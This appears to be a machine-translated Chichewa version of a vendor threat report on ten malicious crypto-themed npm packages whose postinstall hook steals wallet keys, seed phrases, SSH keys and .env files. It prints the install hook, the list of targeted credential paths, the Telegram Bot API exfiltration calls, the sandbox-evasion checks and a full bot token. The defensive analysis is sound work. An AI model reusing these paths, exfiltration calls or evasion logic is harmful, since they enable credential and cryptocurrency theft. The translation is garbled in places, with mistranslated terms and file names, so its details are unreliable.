SeedSweep: Maphukusi Khumi Oyipa a Crypto a npm

SeedSweep: Maphukusi Khumi a npm a Crypto-Themed omwe amangogwira ntchito pokhapokha palibe amene akuonera

TL; DR

Pa 9 June 2026, akaunti imodzi yofalitsa ya npm, aicrypto-xzggg, kutumizidwa maphukusi khumi ndi mayina okhala ndi kukoma kwa crypto ndi Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, ndi zina zisanu ndi chimodzi.

Phukusi lililonse limakhala ndi katundu wofanana kuchokera ku postinstall mbedza. Ikayikidwa, imayang'ana ngati ikuyenda mkati mwa CI kapena sandbox — ngati sichoncho, imawerenga ma keystores a wallet, mafayilo a seed-phrase, ma key a SSH, ndi .env imatumiza mafayilo ochokera m'malo asanu ndi limodzi a blockchain ndikutumiza ku bot ya Telegram.

Chizindikiro chimodzi chomwe woteteza angachipeze nthawi yomweyo ndi nambala ya bot ya Telegram 8227918239.

Kulimba: zovuta — kuba mwachindunji makiyi osainira ndi mawu obweza kuchokera malo ogwirira ntchito opanga mapulogalamu.

Kuukira: Momwe Kumagwirira Ntchito

Ma phukusiwa amadzitsatsa okha ngati mabungwe opanga mapulogalamu a blockchain. phukusi.json ndi yochepa ndipo imasonyeza nthawi yoyika pa script:

{   "name": "farming-tools-12",   "main": "src/index.js",   "scripts": { "postinstall": "node scripts/postinstall.js" },   "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],   "author": "Alex Smith",   "license": "MIT" }

zolemba/postinstall.js ndi mzere umodzi womwe umanyamula katundu weniweni: amafuna ("../src/index.js"). Chifukwa atakhazikitsa imagwira ntchito yokha panthawi ya npm kukhazikitsa, palibe chifukwa cholowetsa code kuchokera kwa wopanga mapulogalamu — kuyika phukusili mu mtengo wodalira ndikokwanira kuti ligwire ntchito.

Unyolo wopha mkati src/index.js ndi masitepe anayi:

  1. Kuyang'anira chilengedwe. Ntchito ya guard imasankha ngati host ikuwoneka ngati build agent kapena analysis sandbox.
  2. Kuchedwa. Kuphedwa kwachitika pambuyo pa setTimeout pafupifupi masekondi 7.4.
  3. Kutolere. Mndandanda wokhazikika wa njira za chikwama, makiyi, ndi mafayilo achinsinsi wayendetsedwa; mafayilo omwe alipo ayikidwa pamzere.
  4. Kutulutsa madzi m'thupi. Mafayilo omwe ali pamzere amatumizidwa ku bot ya Telegram, kenako ndi uthenga wachidule.

Mndandanda wa zolinga zomwe zasonkhanitsidwa uli ndi maunyolo asanu ndi limodzi kuphatikiza zinsinsi za opanga mapulogalamu wamba.

~/.config/solana/id.json        ~/.ethereum/keystore ~/.solana/keypair.json          ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt ./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

Njira makumi awiri ndi chimodzi zonse. Zolemba za m'ndandanda monga ~/.ethereum/store ya makiyi akukulitsidwa ndipo fayilo iliyonse mkati mwake ili pamzere. Kutulutsa kumagwiritsa ntchito Telegram Bot API mwachindunji — a tumizaniUthenga imbani ndi chidule cha woyang'anira ndi fayilo, kenako tumizaniChikalata kukweza magawo ambiri pa fayilo iliyonse:

lemba

POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

Uthenga wachidule womwe code imasonkhanitsa umayamba ndi chingwe chenicheni WOBA CHIRIPTO, kutsatiridwa ndi dzina la hostname, dzina lolowera, dzina la phukusi loyambira, kuchuluka kwa mafayilo, ndi nthawi.

Chatsopano ndi chiyani apa?

Chosiyanitsa si njira yobera — Telegram-based exfil from npm atakhazikitsa hooks waponderezedwa bwino. Ndi chipata chophera anthu. Musanachite chilichonse, payload imatcha ntchito yomwe imabwerera m'mbuyo pamene host ikufanana ndi CI runner kapena sandbox, ndipo imabwerera msanga ikatero:

lemba

isTestEnvironment() is true when ANY of:   - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set   - env NODE_ENV in {test, development}   - username/USER contains: runner, sandbox, test, docker,     jenkins, gitlab, travis, circleci   - hostname contains: sandbox, test, ci   - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

Chida cholumikizira cha container ndi regex yodziwika bwino: dzina la hostname la zilembo 12-hex ndi mawonekedwe okhazikika omwe Docker imapatsa a chophimba, kotero kuti payload imaona kuti "dzina langa loyimilira likuwoneka ngati chidebe cha Docker" ngati chifukwa chokhalira chete. Kuphatikiza ndi kuchedwa kwa masekondi asanu ndi awiri, kapangidwe kake kamathandiza kugwira ntchito pa malo enieni ogwirira ntchito a wopanga mapulogalamu ndikukhala chete kulikonse komwe kumawoneka ngati kusanthula kodziyimira pawokha. Chipata chimenecho ndicho chomwe chinaletsa zizindikiro zowunikira mphamvu ndikusunga kuyenda kwa static exfil ngati umboni waukulu wotsimikiza.

Nthawi

Tsiku (UTC) chochitika
2026-06-09 ~02:48 Maphukusi oyamba mu gululo adawonetsedwa atasindikizidwa (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25 Mamembala apamwamba alembedwa chizindikiro (ethereum-kit-9 pa 1.25.36, wallet-sdk-9 ku 3.7.73)
2026-06-09 ~03:58–03:59 Mamembala omaliza apatsidwa chizindikiro (defi-tools-39 pa 4.26.29, swap-sdk-87 pa 4.63.78, farming-tools-12 ku 4.68.54)
2026-06-09 Zonse khumi zobisika zoyipa ndipo zanenedwa kuti zachotsedwa mu registry

Zonse khumi zinaonekera mkati mwa mphindi pafupifupi makumi asanu ndi awiri, mogwirizana ndi kufalitsa kolembedwa kamodzi kuchokera ku akaunti imodzi.

Zizindikiro za Kugwirizana

Zizindikiro za maukonde ndi machitidwe (zosinthidwa ndi wolandila):

chizindikiro mtengo
Mapeto a Exfil api[.]telegram[.]org (API ya Telegram Bot)
Chizindikiro cha bot cha telegram 8227918239
Chizindikiro cha Bot 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
Chizindikiro cha macheza a telegram 6433587894
Ikani mbedza postinstallscripts/postinstall.jssrc/index.js
Chingwe cha chizindikiro CRYPTO STEALER mu uthenga wofupikitsidwa womwe wasonkhanitsidwa
wofalitsa aicrypto-xzggg (imelo yolembedwa vipsyria88@gmail[.]com, zosatsimikizika)

Mapaketi ndi mitundu, iliyonse ili ndi SHA-256 yake src/index.js payload (zolipira zimafanana ntchito ndipo zimasiyana kokha mu chizindikiro cha dzina la phukusi lophatikizidwa, kotero hash iliyonse ndi yosiyana):

HTML
phukusi Version SHA-256 ya src/index.js
farming-tools-12 4.68.54 b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-87 4.63.78 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-39 4.26.29 ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-9 3.7.73 ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-9 1.25.36 c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-1 1.0.0 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-4 1.0.0 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-9 1.0.0 db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-7 1.0.0 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-0 1.0.0 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

Funso losavuta losakira: fufuzani zolemba zoyika ndi mafayilo otsekeka pa mayina aliwonse mwa khumi, ndi fufuzani kuchuluka kwa anthu omwe akubwera kuti apeze maulumikizidwe ku Telegram Bot API kuchokera kwa omanga kapena opanga mapulogalamu omwe sagwiritsa ntchito mwanjira ina.

Khalidwe ndi Kuonedwa

Maphukusi onse khumi adasindikizidwa ndi akaunti imodzi, aicrypto-xzggg, amene imelo yake ndi vipsyria88@gmail[.]com. Imelo ndi ulalo wowongolera gwero zonse sizikutsimikiziridwa mu metadata ya registry, ndipo akauntiyo ili ndi mbiri yoipa kwambiri. Sitinatsimikizire yemwe akuyendetsa akauntiyo.

Zinthu ziwiri ziyenera kulekanitsidwa ndi zomwe munthu akufuna kudziwa. Choyamba, mfundo ziwirizi ndi zofunika kuzisiyanitsa ndi zomwe munthu akufuna kudziwa. phukusi.json wolemba kuwerenga kwa munda Alex Smith pa phukusi lililonse, pomwe akaunti yeniyeni yofalitsa ili aicrypto-xzggg; gawo la wolemba ndi metadata yodzidziwitsa yekha ndipo silimatsimikiza kuti ndi wolemba ndani. Chachiwiri, manambala a mtunduwo amasiyana kwambiri - mamembala ena amakhala pa 1.0.0, ena pa 4.68.54 — zomwe zikugwirizana ndi kugwiritsanso ntchito katundu umodzi pa mayina atsopano a maphukusi m'malo mosunga mbiri yeniyeni yotulutsidwa.

Khalidweli ndi lofanana mu gulu lonse: mndandanda womwewo wa njira yolunjika, id ya bot ya Telegram ndi id yolumikizirana, chipata chofanana cha chilengedwe, chomwechi WOBA CHIRIPTO chizindikiro. Kufanana kumeneko ndiye kulumikizana kwamphamvu kwambiri pakati pa mapaketi. Ndi chizindikiro cha wogwiritsa ntchito yemweyo, osati chizindikiritso.

Zotsatira, Zochitika & Malangizo kwa Oteteza

Kuwonekera kwake ndi koona. Wopanga mapulogalamu amene amaika phukusi lililonse mwa izi pa malo ogwirira ntchito omwe ali ndi chikwama cha mapulogalamu, fayilo ya seed-phrase, kapena kiyi ya SSH amawerenga ndikutumiza mafayilowo kuchokera ku host mkati mwa masekondi. Mawu obwezeretsa ndi makiyi osayina satha ntchito monga momwe chizindikiro cha gawo chimathera; kamodzi mnemonic.txt kapena Solana id.json ikachoka pamakina, ndalama zomwe imalamulira zimakhala pachiwopsezo mpaka zitasunthidwa. Kuthamanga komweko kumagwiranso ntchito .fm mafayilo, omwe nthawi zonse amakhala ndi makiyi a API ndi ziyeneretso za database.

Zinthu ziwiri zili kumbuyo kwa gululi. Choyamba ndi kugwiritsa ntchito mayina a crypto- ndi Web3-themed kuti akope omvera enaake - opanga mapulogalamu omwe amasunga ma wallet ndi makiyi pamakina omwewo omwe amaikapo zinthu zodalira. Chachiwiri ndi kukhwima kwa kusagwira ntchito kwa sandbox mu nthawi yoyika. Chipata chomwe chimayang'ana zosintha za CI environment, mayina a ogwiritsa ntchito, ndi mawonekedwe a Docker container-id hostname ndi kuyesetsa mwadala kuchita zinthu mosiyana ndi momwe zimachitikira pa workstation yeniyeni, ndipo zimapangitsa kuti pakhale njira yodziwira zinthu mwachangu.

Kwa oteteza:

Ikani ndi zolemba zotsekedwa mwachisawawa. npm kukhazikitsa -ignore-scripts, kapena seti kunyalanyaza-zolemba = zoona in .npmrc, amaletsa atakhazikitsa kuchitidwa; yambitsani zolemba zokha pazodalira zomwe zimafunikiradi.

Sungani ma wallet ndi makiyi osainira pa makina omangira ndi okonzera. Gwiritsani ntchito chikwama cha hardware kapena chosungira chodzipatulira, chopanda kudalira.

kuchiza .fm, ma keystores, ndi mafayilo a seed-phrase ngati miyala yamtengo wapatali. Sayenera kukhala mu bukhu lomwe lilinso npm kukhazikitsa mtengo wogwira ntchito.

Fufuzani maulumikizidwe otuluka ku Telegram Bot API kuchokera ku CI ndi ma seva opanga mapulogalamu. Malo ambiri omanga sachita izi; omwe amatero mwadzidzidzi, atangoyikidwa, ndi ofunika kuwafufuza.

Pin ndikuwunikanso zodalira. Phukusi latsopano lokhala ndi dzina la crypto, a atakhazikitsa mbedza, ndipo palibe ulalo wosungiramo zinthu womwe umafunika kuyang'aniridwa musanalowe mu fayilo yotsekera.

Chiganizo chotsutsa chizindikiritso cha container ndi chikumbutso kwa akatswiri: kulipira nthawi yoyika yomwe imakhalabe mu sandbox sikoipa, koma kumasankha. Kuwunikanso njira yoyika nthawi yoyika ndiyo njira yodalirika yowonera momwe ntchito yosinthira ingalephere kuwonetsa.

Zothandizira

npm install documentation — lifecycle scripts ndi -osanyalanyaza zolemba— chitsogozo choletsa kukhazikitsa kokha hooks. 

zida-zowunikira-mapulogalamu-opanga-zida-za-sca
Konzani, konzani, ndikuteteza zoopsa za pulogalamu yanu
Pezani Akaunti Yanu Yaulere.
Palibe kirediti kadi yomwe ikufunika.

Chitetezo pa Kupanga ndi Kutumiza Mapulogalamu Anu

ndi Xygeni Product Suite